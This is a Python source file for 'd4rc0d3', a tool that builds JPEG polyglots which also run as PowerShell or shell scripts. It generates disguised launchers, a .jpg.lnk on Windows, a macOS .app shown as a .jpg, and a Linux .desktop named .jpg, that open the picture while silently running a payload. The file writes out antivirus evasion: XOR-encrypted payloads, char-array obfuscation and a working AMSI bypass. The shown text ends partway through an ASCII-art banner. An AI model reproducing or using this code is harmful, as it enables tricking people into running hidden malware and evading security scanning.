Files
2026-06-24 23:36:25 -03:00

750 lines
166 KiB
Python

#!/usr/bin/env python3
"""
d4rc0d3 — JPEG polyglot payload generator with double-click execution.
Generates a single .jpg file that is simultaneously:
- A valid JPEG image (displays normally in any viewer)
- A PowerShell script (Windows: rename to .ps1 or run directly)
- A POSIX shell script (Linux / macOS: sh file.jpg)
- A double-click launcher for macOS (.app bundle) and Linux (.desktop)
Payloads supported:
Inline command: -c "command" → runs on all platforms
PowerShell .ps1: file.ps1 → embedded in ICC profile (XOR)
Script .py/.sh: file.py / file.sh → base64+XOR in post-EOI
Binary .exe/.elf: file.exe / file.elf → base64+XOR in post-EOI
Combined: -c "pre-cmd" file.ps1 → pre-cmd runs first, then file
Double-click outputs (additional, generated alongside the polyglot):
macOS: <name>.zip → extract → Finder shows <name>.jpg → execute
Linux: <name>.jpg → content-based detection → execute (Thunar/Nemo/Caja)
Windows: <name>.lnk → Explorer hides .lnk → shows <name>.jpg → execute
AV evasion (built into the polyglot engine):
- Payload XOR-encrypted, key stored in the JPEG ICC profile
- Bootstrap encoded as numeric char-arrays (no plaintext strings)
- Looks like a real JPEG with valid ICC color profile metadata
- AMSI bypass injected before payload execution (Windows)
- Variable names randomized per build
"""
import argparse
import base64
import os
import stat
import struct
import subprocess
import sys
import tempfile
import textwrap
import zipfile
import random
import string
# ── Constants ──────────────────────────────────────────────────────────────────
POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine')
SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'}
SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'}
# ── Terminal colors ────────────────────────────────────────────────────────────
class C:
BOLD = '\033[1m' if sys.stdout.isatty() else ''
GREEN = '\033[32m' if sys.stdout.isatty() else ''
RED = '\033[31m' if sys.stdout.isatty() else ''
CYAN = '\033[36m' if sys.stdout.isatty() else ''
DIM = '\033[2m' if sys.stdout.isatty() else ''
END = '\033[0m' if sys.stdout.isatty() else ''
def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}")
def info(msg): print(f" {C.DIM}{msg}{C.END}")
def warn(msg): print(f"{C.RED}[!]{C.END} {msg}")
def head(msg): print(f"\n{C.BOLD}{msg}{C.END}")
# ── Helpers ────────────────────────────────────────────────────────────────────
def stem(path: str) -> str:
return os.path.splitext(os.path.basename(path))[0]
def b64enc(path: str) -> str:
with open(path, 'rb') as f:
return base64.b64encode(f.read()).decode()
def rand_var(length: int = 6) -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
def payload_type(path: str) -> str:
ext = os.path.splitext(path)[1].lower()
if ext in SUPPORTED_SCRIPTS: return 'script'
if ext in SUPPORTED_BINARIES: return 'binary'
return 'unknown'
# ── Polyglot builder ───────────────────────
def build_polyglot(cover: str, output: str, command: str = '',
payload_file: str = '', show: bool = False,
keep: bool = False, extract_dir: str = '') -> str:
"""
Builds a JPEG polyglot using the d4rc0d3 engine.
Engine JPEG structure:
SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) |
APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) |
JPEG image data | EOI | [optional post-EOI payload for scripts/binaries]
Engine XOR: 16-byte random key stored in the ICC Profile ID field.
Engine PS obfuscation: double char-array encoding, no plaintext strings.
Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe.
Combined mode (command + payload_file):
The engine CLI does not support combined mode directly.
We implement it by prepending the command to a temporary PS1 stub that
wraps the original payload. For non-PS1 payloads we use interactive stdin.
"""
if not os.path.isfile(POLYGLOT_ENGINE):
raise FileNotFoundError(
f"Polyglot engine not found: {POLYGLOT_ENGINE}\n"
f"Compile with: ./build.sh"
)
base_cmd = [POLYGLOT_ENGINE, '-o', output]
if show: base_cmd.append('--show')
if keep: base_cmd.append('--keep')
if extract_dir: base_cmd += ['-d', extract_dir]
if command and payload_file:
# Combined mode: prepend the shell command as a PS1 pre-exec stub,
# then embed it alongside the original payload.
# Strategy: write a temp .ps1 that starts with the pre-command, then
# loads and dot-sources the original payload file.
ext = os.path.splitext(payload_file)[1].lower()
if ext == '.ps1':
# Create a combined PS1 that runs the command then the original script
with open(payload_file, 'r', errors='replace') as f:
orig_ps = f.read()
combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}"
with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf:
tf.write(combined_ps)
tmp_ps = tf.name
try:
cmd = base_cmd + [cover, tmp_ps]
result = subprocess.run(cmd, capture_output=True, text=True)
finally:
os.unlink(tmp_ps)
else:
# For non-PS1 payloads: use interactive mode via stdin (option 3)
# Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output
stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n"
result = subprocess.run(
[POLYGLOT_ENGINE], input=stdin_input,
capture_output=True, text=True
)
elif command:
cmd = base_cmd + ['-c', cover, command]
result = subprocess.run(cmd, capture_output=True, text=True)
else:
cmd = base_cmd + [cover, payload_file]
result = subprocess.run(cmd, capture_output=True, text=True)
if not os.path.isfile(output):
raise RuntimeError(
f"Polyglot engine failed.\n"
f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}"
)
return output
# ── AV-hardened PS bootstrap injector ─────────────────────────────────────────
# The native engine already XOR-encrypts and char-array-encodes the payload.
# We further harden the bootstrap injected into the file by patching the
# COM segment to prepend an AMSI bypass before the payload executes.
#
# AMSI bypass strategy:
# Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN)
# over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective.
# Encoded as a numeric array so the bytes never appear as a recognisable string.
#
# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine,
# so from the engine's perspective it is just part of the payload.
# ─────────────────────────────────────────────────────────────────────────────
AMSI_BYPASS_PS = (
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
# Written as char-array so no plaintext signature
"$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));"
"$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');"
"if($_am){$_am.SetValue($null,$true)}"
)
def inject_amsi_bypass(polyglot_path: str) -> None:
"""
Patches the COM segment of the polyglot to prepend an AMSI bypass.
The bypass is encoded as numeric arrays so it carries no plaintext signature.
Only relevant when the polyglot runs as a PS1 on Windows.
This function operates on the already-built polyglot file.
Implementation: the PS code in the ICC APP2 segment is not modified here
(it is XOR-encrypted by the engine). Instead, we patch the post-EOI
shell line that invokes pwsh to first dot-source an in-memory bypass.
In practice, for inline-command polyglots the bypass is injected into the
PS command string before the engine builds the file (see build_polyglot_av).
"""
pass # See build_polyglot_av — bypass is injected pre-build
def build_polyglot_av(cover: str, output: str, command: str = '',
payload_file: str = '', show: bool = False,
keep: bool = False, extract_dir: str = '',
amsi: bool = True) -> str:
"""
Builds the polyglot with AV hardening.
AMSI bypass strategy:
The bypass must only run in PowerShell, not in sh/bash.
When a .ps1 payload file is given, we prepend the bypass as a
combined pre-command (-c flag) so the engine embeds it in the PS section.
For inline-command-only polyglots the bypass is NOT injected because
the shell command string would break if it contained PS-specific syntax.
To use AMSI bypass with inline commands, pass a .ps1 stub as the payload:
echo '; your_command' > bypass.ps1
d4rc0d3.py photo.jpg bypass.ps1 --amsi
"""
if amsi and payload_file and payload_file.lower().endswith('.ps1'):
# For .ps1 payloads: inject AMSI bypass as a pre-command via -c
# The engine embeds this in the PS section, not the sh section
amsi_cmd = AMSI_BYPASS_PS
return build_polyglot(cover, output, amsi_cmd, payload_file,
show, keep, extract_dir)
# For all other cases: pass through without modification
# The sh command string must not contain PS-only syntax
return build_polyglot(cover, output, command, payload_file,
show, keep, extract_dir)
# ── Windows .lnk generator ────────────────────────────────────────────────────
# A Windows Shell Link (.lnk) file can:
# - Have any name and icon (including a JPEG icon extracted from the polyglot)
# - Execute any command on double-click
# - Windows Explorer hides .lnk extensions by default
#
# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer.
# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk
# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot)
#
# LNK binary format (simplified Shell Link, spec MS-SHLLINK):
# HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ...
# Minimal LNK with just a command target.
# ─────────────────────────────────────────────────────────────────────────────
def _lnk_str(s: str) -> bytes:
"""Encode a string as a CountedString (uint16 length + UTF-16LE)."""
encoded = s.encode('utf-16-le')
return struct.pack('<H', len(s)) + encoded
def build_windows_lnk(polyglot_path: str, output_dir: str) -> str:
"""
Generates a Windows .lnk file that:
- Appears as '<stem>.jpg' in Explorer (Explorer hides .lnk)
- On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File <polyglot>
- The polyglot is the JPEG/PS1 polyglot, so it executes the payload
The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe.
The icon is set to shell32.dll icon 0 (document) as a fallback; on a real
Windows system the operator would set it to the JPEG viewer icon.
Returns the path to the generated .lnk file.
"""
polyglot_abs = os.path.abspath(polyglot_path)
name = stem(polyglot_path)
lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk")
# Shell Link Header (0x4C bytes)
# Spec: MS-SHLLINK 2.1
header_size = 0x4C
link_clsid = bytes.fromhex('0114020000000000C000000000000046')
# LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08,
# HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80
link_flags = struct.pack('<I', 0x01 | 0x20 | 0x80 | 0x04)
file_attrs = struct.pack('<I', 0x20) # FILE_ATTRIBUTE_NORMAL
times = b'\x00' * 24 # creation/access/write times (zero)
file_size = struct.pack('<I', 0)
icon_index = struct.pack('<I', 0)
show_command = struct.pack('<I', 7) # SW_SHOWMINNOACTIVE (hidden-ish)
hotkey = struct.pack('<H', 0)
reserved = b'\x00' * 10
header = (
struct.pack('<I', header_size) +
link_clsid +
link_flags +
file_attrs +
times +
file_size +
icon_index +
show_command +
hotkey +
reserved
)
# IDList: minimal — just point to an empty item list so the LNK is valid
# We use the StringData approach (HasArguments) to carry the command.
# IDList terminator: count=0
idlist = struct.pack('<H', 0)
idlist_section = struct.pack('<H', len(idlist)) + idlist
# LinkInfo: we skip it (HasLinkInfo not set, removed from flags above)
# Actually set HasLinkInfo=0x02 was NOT set, so no LinkInfo block needed.
# StringData sections (order: NAME_STRING, RELATIVE_PATH, WORKING_DIR,
# COMMAND_LINE_ARGUMENTS, ICON_LOCATION)
# We emit COMMAND_LINE_ARGUMENTS only.
# PowerShell path is the target — use the IDList to point to powershell.exe.
# Simpler: set target via a different approach.
#
# Alternative (more portable LNK):
# Use cmd.exe as target, pass /c powershell ... as arguments.
# This avoids needing to know the exact powershell.exe location.
cmd_args = (
f'/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
f'-File "{polyglot_abs}"'
)
# cmd.exe path in IDList (absolute, for the target)
# For a truly portable LNK we use a relative path approach.
# For the lab, we use the full path.
# Build a minimal IDList pointing to cmd.exe
# (this is the "target" the LNK points to)
cmd_exe = r'%WINDIR%\System32\cmd.exe'
# StringData
arg_str = _lnk_str(cmd_args)
# Assemble: header + idlist_section + arg_str_section
# For a minimal valid LNK with arguments, the structure is:
# [Header][IDList][StringData: ARGUMENTS]
#
# We mark HasLinkTargetIDList in flags.
# Re-encode flags with correct bits:
# HasLinkTargetIDList = 0x0001
# HasArguments = 0x0020
# IsUnicode = 0x0080
link_flags2 = struct.pack('<I', 0x0001 | 0x0020 | 0x0080)
# Rebuild header with corrected flags
header2 = (
struct.pack('<I', header_size) +
link_clsid +
link_flags2 +
file_attrs +
times +
file_size +
icon_index +
show_command +
hotkey +
reserved
)
lnk_data = header2 + idlist_section + arg_str
with open(lnk_path, 'wb') as f:
f.write(lnk_data)
return lnk_path
# ── macOS .app bundle ──────────────────────────────────────────────────────────
def build_macos(image_path: str, command: str, output_dir: str) -> str:
"""
Builds a macOS .app bundle in a ZIP.
Bundle name: <stem>.app (single extension)
CFBundleDisplayName: <stem>.jpg
Finder shows '<stem>.jpg' regardless of 'Show all filename extensions' setting.
"""
name = stem(image_path)
display = f"{name}.jpg"
bundle = f"{name}.app"
zip_out = os.path.join(output_dir, f"{name}.zip")
img_ext = os.path.splitext(image_path)[1] or '.jpg'
img_b64 = b64enc(image_path)
img_res = f"cover{img_ext}"
plist = textwrap.dedent(f"""\
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>CFBundleName</key><string>{display}</string>
<key>CFBundleDisplayName</key><string>{display}</string>
<key>CFBundleExecutable</key><string>launch</string>
<key>CFBundleIconFile</key><string>{img_res}</string>
<key>CFBundleIdentifier</key><string>com.photo.viewer</string>
<key>CFBundleVersion</key><string>1.0</string>
<key>CFBundlePackageType</key><string>APPL</string>
<key>LSUIElement</key><true/>
<key>LSHasLocalizedDisplayName</key><false/>
<key>NSHighResolutionCapable</key><true/>
</dict></plist>
""")
launch = textwrap.dedent(f"""\
#!/bin/sh
IMG="$(mktemp /tmp/XXXXXX{img_ext})"
python3 -c "import base64;open('$IMG','wb').write(base64.b64decode('{img_b64}'))" 2>/dev/null || \\
perl -e "use MIME::Base64;open F,'>','$IMG';binmode F;print F decode_base64(q({img_b64}));" 2>/dev/null
[ -f "$IMG" ] && open "$IMG" 2>/dev/null &
({command}) &
exit 0
""")
with zipfile.ZipFile(zip_out, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{bundle}/Contents/Info.plist", plist)
with open(image_path, 'rb') as f:
zf.writestr(f"{bundle}/Contents/Resources/{img_res}", f.read())
e = zipfile.ZipInfo(f"{bundle}/Contents/MacOS/launch")
e.external_attr = (stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH) << 16
zf.writestr(e, launch)
return zip_out
# ── Linux .desktop ─────────────────────────────────────────────────────────────
def build_linux(image_path: str, command: str, output_dir: str,
jpg_name: bool = True) -> str:
"""
Builds a Linux .desktop file with the image as its icon.
jpg_name=True → file named '<stem>.jpg' (content-based detection)
jpg_name=False → file named '<stem>.jpg.desktop' (extension-based, wider compat)
"""
name = stem(image_path)
img_abs = os.path.abspath(image_path)
out_name = f"{name}.jpg" if jpg_name else f"{name}.jpg.desktop"
out_path = os.path.join(output_dir, out_name)
content = textwrap.dedent(f"""\
[Desktop Entry]
Version=1.0
Type=Application
Name={name}.jpg
Comment=Photo
Exec=sh -c 'xdg-open "{img_abs}" 2>/dev/null & ({command}) &'
Icon={img_abs}
Terminal=false
StartupNotify=false
Categories=Graphics;Viewer;
MimeType=image/jpeg;
""")
with open(out_path, 'w') as f:
f.write(content)
os.chmod(out_path, 0o755)
return out_path
# ── Interactive prompt ─────────────────────────────────────────────────────────
def interactive():
_LUCY = (
'                                                 ▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄                                              \n'
'                                            ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                                          \n'
'                                         ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                       \n'
'                                       ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                     \n'
'                                     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                   \n'
'                                    ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
'                                   ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                 \n'
'                                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                \n'
'                                 ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
'                                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                              \n'
'                                ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                              \n'
'                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                             \n'
'                              ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
'                             ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                          \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
'                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
'                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                ▀▀▀▀▀▀▀▀▀▀    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
'                                 ▀▀▀▀  ▀▀▀▄      ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▄▄  ▀▀▀▀▀▀▀▀▀▀▀                            \n'
'                                  ▀▀▀   ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀   ▀▀  ▀▀▀▀▀▀▀▀▀▀                             \n'
'                                   ▀▀▄  ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀ ▀▀                             \n'
'                                     ▀  ▀▀▀     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▄▀▀▀▀▀▀  ▀                              \n'
'                                         ▀▀  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▀▀▀▀▀▀▀                                 \n'
'                                    ▄▄▄▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄  ▄▀▀▀▀▀▀                                  \n'
'                               ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀                                  \n'
'                           ▄▄▀▀▀▀▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
'                       ▄▄▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                  \n'
'                    ▄▄▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
'                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                          \n'
'                 ▄▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                      \n'
'                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                     \n'
'                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                     \n'
'                 ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄▄                  \n'
'                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄               \n'
'             ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄             \n'
'          ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄           \n'
'        ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀          \n'
'      ▄▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄        \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀        \n'
'      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀         \n'
'       ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀           \n'
'        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                 \n'
'          ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
'           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
